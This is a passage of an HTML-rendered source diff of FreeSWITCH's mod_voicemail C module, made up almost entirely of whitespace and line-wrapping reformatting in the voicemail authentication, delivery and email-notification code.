</span><span class="cx">                                         message_count(profile, cbt-&gt;user, cbt-&gt;domain, cbt-&gt;in_folder, &amp;total_new_messages, &amp;total_saved_messages,
</span><span class="cx">                                                                   &amp;total_new_urgent_messages, &amp;total_saved_urgent_messages);
</span><span class="cx"> 
</span><del>-                                        switch_time_exp_lt(&amp;tm, switch_time_make (atol(cbt-&gt;created_epoch), 0));
</del><ins>+                                        switch_time_exp_lt(&amp;tm, switch_time_make(atol(cbt-&gt;created_epoch), 0));
</ins><span class="cx">                                         switch_strftime(date, &amp;retsize, sizeof(date), profile-&gt;date_fmt, &amp;tm);
</span><span class="cx"> 
</span><span class="cx">                                         switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, total_new_messages);
</span><span class="lines">@@ -1589,7 +1577,7 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;voicemail_priority&quot;, tmp);
</span><span class="cx">                                         message_len = atoi(cbt-&gt;message_len);
</span><span class="cx"> 
</span><del>-                                        l_duration = switch_time_make (atol(cbt-&gt;message_len), 0);
</del><ins>+                                        l_duration = switch_time_make(atol(cbt-&gt;message_len), 0);
</ins><span class="cx">                                         switch_core_measure_time(l_duration, &amp;duration);
</span><span class="cx">                                         duration.day += duration.yr * 365;
</span><span class="cx">                                         duration.hr += duration.day * 24;
</span><span class="lines">@@ -1674,7 +1662,8 @@
</span><span class="cx">         int total_saved_urgent_messages = 0;
</span><span class="cx">         switch_event_t *event;
</span><span class="cx"> 
</span><del>-        message_count(profile, id, domain_name, myfolder, &amp;total_new_messages, &amp;total_saved_messages, &amp;total_new_urgent_messages, &amp;total_saved_urgent_messages);
</del><ins>+        message_count(profile, id, domain_name, myfolder, &amp;total_new_messages, &amp;total_saved_messages, &amp;total_new_urgent_messages,
+                                  &amp;total_saved_urgent_messages);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_event_create(&amp;event, SWITCH_EVENT_MESSAGE_WAITING) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -1685,7 +1674,8 @@
</span><span class="cx">         }
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;MWI-Messages-Waiting&quot;, yn);
</span><span class="cx">         switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;MWI-Message-Account&quot;, &quot;%s@%s&quot;, id, domain_name);
</span><del>-        switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;MWI-Voice-Message&quot;, &quot;%d/%d (%d/%d)&quot;, total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
</del><ins>+        switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;MWI-Voice-Message&quot;, &quot;%d/%d (%d/%d)&quot;, total_new_messages, total_saved_messages,
+                                                        total_new_urgent_messages, total_saved_urgent_messages);
</ins><span class="cx">         switch_event_fire(&amp;event);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1762,7 +1752,7 @@
</span><span class="cx">                                 char msg_count[80] = &quot;&quot;;
</span><span class="cx">                                 switch_input_args_t folder_args = { 0 };
</span><span class="cx">                                 switch_event_t *params;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 folder_args.input_callback = cancel_on_dtmf;
</span><span class="cx">                                 folder_args.buf = &amp;global_buf;
</span><span class="cx">                                 folder_args.buflen = sizeof(global_buf);
</span><span class="lines">@@ -1907,13 +1897,10 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s:%s:%s:%s&quot;,
</span><del>-                                                                profile-&gt;record_greeting_key, 
-                                                                profile-&gt;choose_greeting_key, 
-                                                                profile-&gt;record_name_key, 
-                                                                profile-&gt;change_pass_key, 
-                                                                profile-&gt;main_menu_key);
-                                
</del><ins>+                                                                profile-&gt;record_greeting_key,
+                                                                profile-&gt;choose_greeting_key, profile-&gt;record_name_key, profile-&gt;change_pass_key, profile-&gt;main_menu_key);
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                 TRY_CODE(vm_macro_get(session, VM_CONFIG_MENU_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, timeout));
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS &amp;&amp; status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                         goto end;
</span><span class="lines">@@ -1992,14 +1979,14 @@
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;VM-User&quot;, myid);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;VM-Domain&quot;, domain_name);
</span><span class="cx">                                         switch_channel_event_set_data(channel, params);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_xml_locate_user(&quot;id&quot;, myid, domain_name, switch_channel_get_variable(channel, &quot;network_addr&quot;),
</span><span class="cx">                                                                                            &amp;xx_domain_root, &amp;xx_domain, &amp;xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_xml_free(xx_domain_root);
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         switch_event_fire(&amp;params);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else if (!strcmp(input, profile-&gt;record_name_key)) {
</span><span class="cx">                                         file_path = switch_mprintf(&quot;%s%srecorded_name.%s&quot;, dir_path, SWITCH_PATH_SEPARATOR, profile-&gt;file_ext);
</span><span class="cx">                                         TRY_CODE(create_file(session, profile, VM_RECORD_NAME_MACRO, file_path, &amp;message_len, SWITCH_FALSE, NULL, NULL));
</span><span class="lines">@@ -2030,7 +2017,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s:%s:%s&quot;,
</span><span class="cx">                                                                         profile-&gt;play_new_messages_key, profile-&gt;play_saved_messages_key, profile-&gt;config_menu_key, profile-&gt;terminator_key);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         status = vm_macro_get(session, VM_MENU_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, timeout);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2058,7 +2045,8 @@
</span><span class="cx">                         break;
</span><span class="cx">                 case VM_CHECK_AUTH:
</span><span class="cx">                         {
</span><del>-                                prefs_callback_t cbt = {{0}};
</del><ins>+                                prefs_callback_t cbt = { {0}
+                                };
</ins><span class="cx">                                 char sql[512] = &quot;&quot;;
</span><span class="cx"> 
</span><span class="cx">                                 if (!attempts) {
</span><span class="lines">@@ -2091,8 +2079,8 @@
</span><span class="cx">                                         switch_assert(params);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;destination_number&quot;, caller_profile-&gt;destination_number);
</span><span class="cx">                                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;caller_id_number&quot;, caller_id_number);
</span><del>-                                        
-                                        
</del><ins>+
+
</ins><span class="cx">                                         if (switch_xml_locate_user(&quot;id&quot;, myid, domain_name, switch_channel_get_variable(channel, &quot;network_addr&quot;),
</span><span class="cx">                                                                                            &amp;x_domain_root, &amp;x_domain, &amp;x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Can't find user [%s@%s]\n&quot;, myid, domain_name);
</span><span class="lines">@@ -2126,7 +2114,7 @@
</span><span class="cx">                                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                         const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="cx">                                         const char *val = switch_xml_attr_soft(x_param, &quot;value&quot;);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!strcasecmp(var, &quot;a1-hash&quot;)) {
</span><span class="cx">                                                 thehash = switch_core_session_strdup(session, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;vm-a1-hash&quot;)) {
</span><span class="lines">@@ -2154,10 +2142,10 @@
</span><span class="cx">                                                 convert_ext = switch_core_session_strdup(session, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;storage-dir&quot;)) {
</span><span class="cx">                                                 vm_storage_dir = switch_core_session_strdup(session, val);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         } else if (!strcasecmp(var, &quot;timezone&quot;)) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, var, val);
</span><del>-                                        } 
</del><ins>+                                        }
</ins><span class="cx"> 
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2181,7 +2169,7 @@
</span><span class="cx">                                 if (vmhash) {
</span><span class="cx">                                         thehash = vmhash;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!auth &amp;&amp; !thepass &amp;&amp; !zstr(cbt.password)) {
</span><span class="cx">                                         thepass = cbt.password;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2203,7 +2191,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_safe_free(lpbuf);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!auth &amp;&amp; thepass &amp;&amp; !strcmp(thepass, mypass)) {
</span><span class="cx">                                                         auth++;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2211,13 +2199,15 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 FREE_DOMAIN_ROOT();
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (auth) {
</span><span class="cx">                                         if (!dir_path) {
</span><span class="cx">                                                 if (!zstr(vm_storage_dir)) {
</span><span class="cx">                                                         dir_path = switch_core_session_sprintf(session, &quot;%s%s%s&quot;, vm_storage_dir, SWITCH_PATH_SEPARATOR, myid);
</span><del>-                                                } else if ( !zstr(profile-&gt;storage_dir) ) {
-                                                        dir_path = switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;, profile-&gt;storage_dir, SWITCH_PATH_SEPARATOR, domain_name, SWITCH_PATH_SEPARATOR, myid);
</del><ins>+                                                } else if (!zstr(profile-&gt;storage_dir)) {
+                                                        dir_path =
+                                                                switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;, profile-&gt;storage_dir, SWITCH_PATH_SEPARATOR, domain_name,
+                                                                                                                        SWITCH_PATH_SEPARATOR, myid);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         dir_path = switch_core_session_sprintf(session, &quot;%s%svoicemail%s%s%s%s%s%s&quot;, SWITCH_GLOBAL_dirs.storage_dir,
</span><span class="cx">                                                                                                                                    SWITCH_PATH_SEPARATOR,
</span><span class="lines">@@ -2235,11 +2225,11 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         goto failed;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 continue;
</span><span class="cx"> 
</span><span class="cx">                           failed:
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 FREE_DOMAIN_ROOT();
</span><span class="cx"> 
</span><span class="cx">                                 status = switch_ivr_phrase_macro(session, VM_FAIL_AUTH_MACRO, NULL, NULL, NULL);
</span><span class="lines">@@ -2269,18 +2259,15 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t deliver_vm(vm_profile_t *profile, 
-                                                                  switch_xml_t x_user, 
-                                                                  const char *domain_name, 
-                                                                  const char *path, 
</del><ins>+static switch_status_t deliver_vm(vm_profile_t *profile,
+                                                                  switch_xml_t x_user,
+                                                                  const char *domain_name,
+                                                                  const char *path,
</ins><span class="cx">                                                                   uint32_t message_len,
</span><span class="cx">                                                                   const char *read_flags,
</span><del>-                                                                  switch_event_t *params, 
-                                                                  switch_memory_pool_t *pool, 
-                                                                  const char *caller_id_name, 
-                                                                  const char *caller_id_number,
-                                                                  const char *forwarded_by,
-                                                                  switch_bool_t copy)
</del><ins>+                                                                  switch_event_t *params,
+                                                                  switch_memory_pool_t *pool,
+                                                                  const char *caller_id_name, const char *caller_id_number, const char *forwarded_by, switch_bool_t copy)
</ins><span class="cx"> {
</span><span class="cx">         char *file_path = NULL, *dir_path = NULL;
</span><span class="cx">         const char *myid = switch_xml_attr(x_user, &quot;id&quot;);
</span><span class="lines">@@ -2310,7 +2297,7 @@
</span><span class="cx">                 switch_event_create(&amp;local_event, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 params = local_event;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((tmp = switch_event_get_header(params, &quot;effective_caller_id_name&quot;))) {
</span><span class="cx">                 caller_id_name = tmp;
</span><span class="cx">         }
</span><span class="lines">@@ -2318,7 +2305,7 @@
</span><span class="cx">         if ((tmp = switch_event_get_header(params, &quot;effective_caller_id_number&quot;))) {
</span><span class="cx">                 caller_id_number = tmp;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="cx"> 
</span><span class="lines">@@ -2332,7 +2319,7 @@
</span><span class="cx">         for (x_param = switch_xml_child(x_params, &quot;variable&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                 const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="cx">                 const char *val = switch_xml_attr_soft(x_param, &quot;value&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(var, &quot;timezone&quot;)) {
</span><span class="cx">                         vm_timezone = switch_core_strdup(pool, val);
</span><span class="cx">                 }
</span><span class="lines">@@ -2365,7 +2352,7 @@
</span><span class="cx">                 } else if (!strcasecmp(var, &quot;timezone&quot;)) {
</span><span class="cx">                         vm_timezone = switch_core_strdup(pool, val);
</span><span class="cx">                 }
</span><del>-                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Send mail is %d, var is %s\n&quot;, send_mail, var);*/
</del><ins>+                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Send mail is %d, var is %s\n&quot;, send_mail, var); */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Deliver VM to %s@%s\n&quot;, myid, domain_name);
</span><span class="lines">@@ -2391,7 +2378,7 @@
</span><span class="cx">         if (copy) {
</span><span class="cx">                 switch_file_copy(path, file_path, SWITCH_FPROT_FILE_SOURCE_PERMS, pool);
</span><span class="cx">         } else {
</span><del>-                file_path = (char *)path;
</del><ins>+                file_path = (char *) path;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!message_len) {
</span><span class="lines">@@ -2404,7 +2391,7 @@
</span><span class="cx">         if (insert_db &amp;&amp; switch_file_exists(file_path, pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 char *usql;
</span><span class="cx">                 switch_event_t *message_event;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_event_create_subclass(&amp;message_event, SWITCH_EVENT_CUSTOM, VM_EVENT_MAINT);
</span><span class="cx">                 switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, &quot;VM-Action&quot;, &quot;leave-message&quot;);
</span><span class="cx">                 switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, &quot;VM-User&quot;, myid);
</span><span class="lines">@@ -2483,7 +2470,7 @@
</span><span class="cx">                 if (vm_notify_email) {
</span><span class="cx">                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;voicemail_notify_email&quot;, vm_notify_email);
</span><span class="cx">                 }
</span><del>-                l_duration = switch_time_make (message_len, 0);
</del><ins>+                l_duration = switch_time_make(message_len, 0);
</ins><span class="cx">                 switch_core_measure_time(l_duration, &amp;duration);
</span><span class="cx">                 duration.day += duration.yr * 365;
</span><span class="cx">                 duration.hr += duration.day * 24;
</span><span class="lines">@@ -2500,10 +2487,8 @@
</span><span class="cx"> 
</span><span class="cx">                 if (send_main) {
</span><span class="cx">                         if (zstr(profile-&gt;email_headers)) {
</span><del>-                                headers = switch_mprintf(
-                                                                                 &quot;From: FreeSWITCH mod_voicemail &lt;%s@%s&gt;\n&quot;
-                                                                                 &quot;Subject: Voicemail from %s %s\nX-Priority: %d&quot;,
-                                                                                 myid, domain_name, caller_id_name, caller_id_number, priority);
</del><ins>+                                headers = switch_mprintf(&quot;From: FreeSWITCH mod_voicemail &lt;%s@%s&gt;\n&quot;
+                                                                                 &quot;Subject: Voicemail from %s %s\nX-Priority: %d&quot;, myid, domain_name, caller_id_name, caller_id_number, priority);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 headers = switch_event_expand_headers(params, profile-&gt;email_headers);
</span><span class="cx">                         }
</span><span class="lines">@@ -2539,9 +2524,9 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Sending message to %s\n&quot;, vm_email);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (body != profile-&gt;email_body) {
</span><del>-                                switch_safe_free(body);        
</del><ins>+                                switch_safe_free(body);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (headers != profile-&gt;email_headers) {
</span><span class="lines">@@ -2552,10 +2537,8 @@
</span><span class="cx"> 
</span><span class="cx">                 if (send_notify) {
</span><span class="cx">                         if (zstr(profile-&gt;notify_email_headers)) {
</span><del>-                                headers = switch_mprintf(
-                                                                                 &quot;From: FreeSWITCH mod_voicemail &lt;%s@%s&gt;\n&quot;
-                                                                                 &quot;Subject: Voicemail from %s %s\nX-Priority: %d&quot;,
-                                                                                 myid, domain_name, caller_id_name, caller_id_number, priority);
</del><ins>+                                headers = switch_mprintf(&quot;From: FreeSWITCH mod_voicemail &lt;%s@%s&gt;\n&quot;
+                                                                                 &quot;Subject: Voicemail from %s %s\nX-Priority: %d&quot;, myid, domain_name, caller_id_name, caller_id_number, priority);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 headers = switch_event_expand_headers(params, profile-&gt;notify_email_headers);
</span><span class="cx">                         }
</span><span class="lines">@@ -2587,9 +2570,9 @@
</span><span class="cx">                         switch_simple_email(vm_notify_email, from, header_string, body, NULL, NULL, NULL);
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Sending notify message to %s\n&quot;, vm_notify_email);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (body != profile-&gt;notify_email_body) {
</span><del>-                                switch_safe_free(body);        
</del><ins>+                                switch_safe_free(body);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (headers != profile-&gt;notify_email_headers) {
</span><span class="lines">@@ -2635,7 +2618,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         dup = strdup(data);
</span><span class="cx">         switch_assert(dup);
</span><span class="cx"> 
</span><span class="lines">@@ -2655,7 +2638,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         user = box;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="lines">@@ -2674,7 +2657,7 @@
</span><span class="cx">         } else if (user == domain) {
</span><span class="cx">                 isall++;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(user &amp;&amp; domain)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid syntax [%s][%s]\n&quot;, switch_str_nil(user), switch_str_nil(domain));
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2686,7 +2669,7 @@
</span><span class="cx">                         profile = get_profile(&quot;default&quot;);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't find profile\n&quot;);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2713,19 +2696,19 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, &quot;domain&quot;, domain);
</span><span class="cx">                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, &quot;purpose&quot;, &quot;publish-vm&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_locate_domain(domain, my_params, &amp;xml_root, &amp;x_domain) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot locate domain %s\n&quot;, domain);
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         switch_event_destroy(&amp;my_params);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_event_destroy(&amp;my_params);
</span><span class="cx"> 
</span><span class="cx">                 switch_core_new_memory_pool(&amp;pool);
</span><del>-                
-                
</del><ins>+
+
</ins><span class="cx">                 if (isgroup) {
</span><span class="cx">                         switch_xml_t group = NULL, groups = NULL, users = NULL;
</span><span class="cx">                         if ((groups = switch_xml_child(x_domain, &quot;groups&quot;))) {
</span><span class="lines">@@ -2733,19 +2716,21 @@
</span><span class="cx">                                         if ((users = switch_xml_child(group, &quot;users&quot;))) {
</span><span class="cx">                                                 for (ut = switch_xml_child(users, &quot;user&quot;); ut; ut = ut-&gt;next) {
</span><span class="cx">                                                         const char *type = switch_xml_attr_soft(ut, &quot;type&quot;);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(type, &quot;pointer&quot;)) {
</span><span class="cx">                                                                 const char *uname = switch_xml_attr_soft(ut, &quot;id&quot;);
</span><span class="cx">                                                                 switch_xml_t ux;
</span><span class="cx"> 
</span><span class="cx">                                                                 if (switch_xml_locate_user_in_domain(uname, x_domain, &amp;ux, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                         switch_event_create(&amp;my_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><del>-                                                                        status = deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
</del><ins>+                                                                        status =
+                                                                                deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by,
+                                                                                                   SWITCH_TRUE);
</ins><span class="cx">                                                                         switch_event_destroy(&amp;my_params);
</span><span class="cx">                                                                 }
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_event_create(&amp;my_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                                                         status = deliver_vm(profile, ut, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
</span><span class="cx">                                                         switch_event_destroy(&amp;my_params);
</span><span class="lines">@@ -2762,7 +2747,7 @@
</span><span class="cx">                                         if ((users = switch_xml_child(group, &quot;users&quot;))) {
</span><span class="cx">                                                 for (ut = switch_xml_child(users, &quot;user&quot;); ut; ut = ut-&gt;next) {
</span><span class="cx">                                                         const char *type = switch_xml_attr_soft(ut, &quot;type&quot;);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(type, &quot;pointer&quot;)) {
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -2774,7 +2759,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_xml_t x_group = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -2787,7 +2772,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 profile_rwunlock(profile);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx"> 
</span><span class="cx">                 switch_xml_free(xml_root);
</span><span class="lines">@@ -2845,7 +2830,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_variable(channel, &quot;skip_greeting&quot;, NULL);
</span><span class="cx">         switch_channel_set_variable(channel, &quot;skip_instructions&quot;, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(caller_id_name = switch_channel_get_variable(channel, &quot;effective_caller_id_name&quot;))) {
</span><span class="cx">                 caller_id_name = caller_profile-&gt;caller_id_name;
</span><span class="cx">         }
</span><span class="lines">@@ -2861,8 +2846,8 @@
</span><span class="cx">                 switch_event_t *locate_params = NULL;
</span><span class="cx">                 const char *email_addr = NULL;
</span><span class="cx">                 char *x;
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 switch_event_create(&amp;locate_params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                 switch_assert(locate_params);
</span><span class="cx"> 
</span><span class="lines">@@ -2875,7 +2860,7 @@
</span><span class="cx">                         x_domain = NULL;
</span><span class="cx">                         switch_xml_free(x_domain_root);
</span><span class="cx">                         x_domain_root = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_params = switch_xml_child(x_user, &quot;params&quot;))) {
</span><span class="cx">                                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                         const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="lines">@@ -2922,9 +2907,10 @@
</span><span class="cx">                                         send_notify = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (send_mail &amp;&amp; (!(send_main || send_notify))) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Falling back to leaving message locally due to too many misconfiguration.\n&quot;);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                  &quot;Falling back to leaving message locally due to too many misconfiguration.\n&quot;);
</ins><span class="cx">                                 send_mail = 0;
</span><span class="cx">                                 insert_db = 1;
</span><span class="cx">                         }
</span><span class="lines">@@ -2932,14 +2918,14 @@
</span><span class="cx">                         if (send_notify &amp;&amp; !send_main) {
</span><span class="cx">                                 insert_db = 1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Can't find user [%s@%s]\n&quot;, id, domain_name);
</span><span class="cx">                         ok = 0;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_event_destroy(&amp;locate_params);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ok) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="lines">@@ -2981,7 +2967,7 @@
</span><span class="cx">                 greet_path = cbt.greeting_path;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-greet:
</del><ins>+  greet:
</ins><span class="cx">         if (!skip_greeting) {
</span><span class="cx">                 memset(buf, 0, sizeof(buf));
</span><span class="cx">                 args.input_callback = cancel_on_dtmf;
</span><span class="lines">@@ -3009,38 +2995,38 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        if (*buf != '\0') {
-greet_key_press:
-            if (switch_stristr(buf, profile-&gt;login_keys)) {
-                voicemail_check_main(session, profile, domain_name, id, 0);
-            } else if (!strcasecmp(buf, profile-&gt;operator_key) &amp;&amp; !zstr(profile-&gt;operator_key)) {
-                int argc;
-                char *argv[4];
-                char *mycmd;
</del><ins>+                if (*buf != '\0') {
+                  greet_key_press:
+                        if (switch_stristr(buf, profile-&gt;login_keys)) {
+                                voicemail_check_main(session, profile, domain_name, id, 0);
+                        } else if (!strcasecmp(buf, profile-&gt;operator_key) &amp;&amp; !zstr(profile-&gt;operator_key)) {
+                                int argc;
+                                char *argv[4];
+                                char *mycmd;
</ins><span class="cx"> 
</span><del>-                if (!zstr(profile-&gt;operator_ext) &amp;&amp; (mycmd = switch_core_session_strdup(session, profile-&gt;operator_ext))) {
-                    argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-                    if (argc &gt;= 1 &amp;&amp; argc &lt;= 4) {
-                        switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
-                        /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
-                        send_mail = 0;
-                        goto end;
-                    }
-                }
-            } else if (!strcasecmp(buf, profile-&gt;vmain_key) &amp;&amp; !zstr(profile-&gt;vmain_key)) {
-                int argc;
-                char *argv[4];
-                char *mycmd;
</del><ins>+                                if (!zstr(profile-&gt;operator_ext) &amp;&amp; (mycmd = switch_core_session_strdup(session, profile-&gt;operator_ext))) {
+                                        argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+                                        if (argc &gt;= 1 &amp;&amp; argc &lt;= 4) {
